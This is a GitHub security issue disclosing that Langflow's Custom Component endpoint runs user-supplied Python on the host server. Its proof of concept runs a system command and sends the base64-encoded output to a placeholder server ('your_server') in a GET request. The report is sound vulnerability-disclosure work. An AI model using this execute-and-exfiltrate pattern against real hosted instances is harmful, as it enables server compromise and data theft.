Skip to content

[Security Issue] Code Execution against underlying host system in Custom Component #1973

@0xfatty

Description

@0xfatty

Quick note
Langflow is a very interesting and useful framework for those who work with AI projects. Personally, it's a cool project to learn from. It seems the Custom Component feature was launched to support user-defined Python scripts that use the Langflow provided library. This is a great feature. However, upon reviewing its documentation in [1] and [2], it seems there is no mention of potential security issues. Hence, perhaps the following finding was likely not expected.
[1] https://docs.langflow.org/components/custom
[2] https://docs.langflow.org/guidelines/custom-component

Describe the bug
The Custom Component feature allows users to provide their own Python scripts using the CustomComponent class provided by the Langflow library. This is excellent for local testing and experimentation. However, if the framework is hosted online, it creates a potential security issue where a bad actor can leverage the opportunity to provide arbitrary Python code and gain code execution ability against the hosting server.

Impacted API
POST /api/v1/custom_component

Browser and Version

  • Browser: Tested on Chromium
  • Version: 125.0.6422.60 (Official Build) (arm64)

To Reproduce
Steps to reproduce the behavior:

  1. Create a new project
  2. Using CustomComponent, within Component class, provide the following Python function
import subprocess
import base64
    def execute_and_send():
        # Execute arbitrary system command
        result = subprocess.run(['uname', '-a'], capture_output=True, text=True)
        if result.stderr:
            print("Error:", result.stderr)
            return
    
        # Base64 encode the output
        encoded_output = base64.b64encode(result.stdout.encode()).decode()
    
        # Make a GET request with the base64 string as a query parameter
        url = f"https://your_server/?data={encoded_output}"
        response = requests.get(url)

    execute_and_send()
  1. By clicking on Check & Save, the /api/v1/custom_component API is invoked to process the provided Python script, which then leads to OS command execution. The output will be Base64 encoded and sent to a malicious server.

Screenshots
Screenshot 2024-05-25 at 10 43 43 AM

Additional context
The vulnerability allows for arbitrary code execution by injecting malicious code through the Custom Component feature. This could lead to significant security risks, including data theft, unauthorized access, and potential disruption of services (especially when being hosted publicly)

Metadata

Metadata

Labels

securityIndicates issues related to security vulnerabilities

Type

No type

Projects

No projects

Milestone

No milestone

Relationships

None yet

Development

No branches or pull requests

Issue actions